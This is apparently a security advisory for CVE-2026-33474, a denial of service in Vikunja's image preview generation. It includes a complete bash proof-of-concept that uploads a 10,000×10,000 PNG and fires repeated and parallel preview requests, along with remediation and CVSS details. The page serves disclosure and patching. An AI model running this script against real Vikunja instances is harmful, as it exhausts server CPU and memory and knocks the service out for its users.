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GHSA-wc83-79hj-hpmq CVE-2026-33474 GO-2026-4811

Vikunja Affected by DoS via Image Preview Generation

Medium Go
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.32%
Chance of exploitation in the next 30 days. Higher than 25.45% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
Fix
2.2.0
Upgrade code.vikunja.io/api to this version or later

Description

Summary

  • Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images.
  • Affected code:
    • Decoding without bounds: task_attachment.go:GetPreview
    • Resizing path: resizeImage
    • Endpoint invoking preview: GetTaskAttachment
  • Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service.
  • CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

Preconditions

  • API running locally (http://localhost:8080).
  • Task attachments enabled: task_attachments_enabled=true in Info.
  • Any authenticated user with write access to a task.

How It Works

  • Preview generation decodes the full image via image.Decode and resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize.
  • The first preview per attachment and size performs the heavy work; later requests are served from cache keyvalue.Remember.

Run The POC

  • Script:
#!/usr/bin/env bash
set -euo pipefail

BASE_URL="${BASE_URL:-http://localhost:8080}"
USERNAME="${USERNAME:-dosuser}"
EMAIL="${EMAIL:-dosuser@example.com}"
PASSWORD="${PASSWORD:-StrongPass123!}"
PROJECT_TITLE="${PROJECT_TITLE:-poc-dos-preview}"
TASK_TITLE="${TASK_TITLE:-DoS preview test}"
OUT_DIR="${OUT_DIR:-/tmp/vikunja-poc-dos}"

mkdir -p "$OUT_DIR"

echo "[+] Checking instance info"
curl -sS "$BASE_URL/api/v1/info" | tee "$OUT_DIR/info.json" >/dev/null
if ! grep -q '"task_attachments_enabled":true' "$OUT_DIR/info.json"; then
  echo "[!] Task attachments disabled"
  exit 1
fi

echo "[+] Registering user (may already exist)"
curl -sS -X POST "$BASE_URL/api/v1/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}' \
  | tee "$OUT_DIR/register.json" >/dev/null || true

echo "[+] Logging in"
curl -sS -X POST "$BASE_URL/api/v1/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \
  | tee "$OUT_DIR/login.json" >/dev/null
TOKEN="$(sed -n 's/.*"token"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$OUT_DIR/login.json")"
if [ -z "$TOKEN" ]; then
  echo "[!] Failed to get token"
  exit 1
fi

echo "[+] Creating project"
curl -sS -X PUT "$BASE_URL/api/v1/projects" \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"title":"'"$PROJECT_TITLE"'"}' \
  | tee "$OUT_DIR/project.json" >/dev/null
PROJECT_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/project.json")"
if [ -z "$PROJECT_ID" ]; then
  echo "[!] Failed to get project id"
  exit 1
fi

echo "[+] Creating task"
curl -sS -X PUT "$BASE_URL/api/v1/projects/$PROJECT_ID/tasks" \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"title":"'"$TASK_TITLE"'"}' \
  | tee "$OUT_DIR/task.json" >/dev/null
TASK_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/task.json")"
if [ -z "$TASK_ID" ]; then
  echo "[!] Failed to get task id"
  exit 1
fi

echo "[+] Generating 10000x10000 PNG payload"
python3 - <<'PY'
from PIL import Image
img = Image.new('RGB', (10000,10000), color=(0,0,0))
img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True)
PY
file "$OUT_DIR/huge.png" || true
ls -lh "$OUT_DIR/huge.png" || true

echo "[+] Uploading attachment"
curl -sS -X PUT "$BASE_URL/api/v1/tasks/$TASK_ID/attachments" \
  -H "Authorization: Bearer $TOKEN" \
  -F "files=@$OUT_DIR/huge.png" \
  | tee "$OUT_DIR/attach.json" >/dev/null
ATTACHMENT_ID="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d["success"][0]["id"])' "$OUT_DIR/attach.json")"
if [ -z "$ATTACHMENT_ID" ]; then
  echo "[!] Failed to get attachment id"
  exit 1
fi

echo "[+] Requesting preview (xl)"
/usr/bin/time -l curl -sS -o "$OUT_DIR/preview_xl.png" \
  "$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl" \
  -H "Authorization: Bearer $TOKEN" 2> "$OUT_DIR/time_xl.txt"
du -h "$OUT_DIR/preview_xl.png" || true
file "$OUT_DIR/preview_xl.png" || true
echo "[+] Timing and memory (from /usr/bin/time):"
cat "$OUT_DIR/time_xl.txt" || true

echo "[+] Parallel preview requests (cache warm) x10"
seq 1 10 | xargs -P 5 -I{} sh -c "curl -s -w '%{time_total}\n' -o /dev/null \
  '$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl' \
  -H 'Authorization: Bearer $TOKEN'" | tee "$OUT_DIR/parallel_times.txt" >/dev/null
echo "[+] Done. Outputs in $OUT_DIR"

  • Uses curl and python3 (Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics.

Steps

  1. Ensure the API is running on http://localhost:8080.
  2. Execute:
    bash pocs/image-preview-dos/poc.sh
    
  3. Outputs of interest:
    • /tmp/vikunja-poc-dos/time_xl.txt: /usr/bin/time -l timing and memory for the preview request.
    • /tmp/vikunja-poc-dos/parallel_times.txt: 10 parallel preview times with cache warmed.
    • /tmp/vikunja-poc-dos/preview_xl.png: Generated 800×800 preview.

Environment Overrides

  • BASE_URL: API base (default http://localhost:8080)
  • USERNAME, EMAIL, PASSWORD: credentials for the test user
  • PROJECT_TITLE, TASK_TITLE: names for test artifacts
  • OUT_DIR: output directory (default /tmp/vikunja-poc-dos)

Expected Results

  • First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image.
  • Subsequent requests are faster due to caching.
  • Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.

Remediation

  • Enforce bounds prior to decode:
    • Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M).
    • Fail early by reading headers to extract dimensions before full decode.
  • Add per-user and per-attachment rate limiting for preview generation.
  • Pre-generate previews asynchronously with throttling and backpressure.
  • Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.

Notes

  • This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.

Affected versions

Go

PackageVulnerableFixed in
code.vikunja.io/api
>= 1.0.0-rc0, < 2.2.0
2.2.0
code.vikunja.io/api
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.vikunja.io/api Go → 2.2.0

go
go get code.vikunja.io/api@v2.2.0 && go mod tidy

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-m687-p538-r5hp
Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted
Medium Also affects code.vikunja.io/api
GHSA-fmmf-xq98-g327
Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check
Medium Also affects code.vikunja.io/api
GHSA-pjr3-86v4-5p7w
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
Medium Also affects code.vikunja.io/api
GHSA-hjx8-qv73-f7cm
Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed
High Also affects code.vikunja.io/api
GHSA-fprf-r6rv-xg99
Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants
Medium Also affects code.vikunja.io/api
GHSA-4hv6-xc92-j86g
Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes
High Also affects code.vikunja.io/api
GHSA-w2ch-4xgr-22ww
Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal
Low Also affects code.vikunja.io/api
GHSA-8wvg-r2j4-3737
Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint
Medium Also affects code.vikunja.io/api
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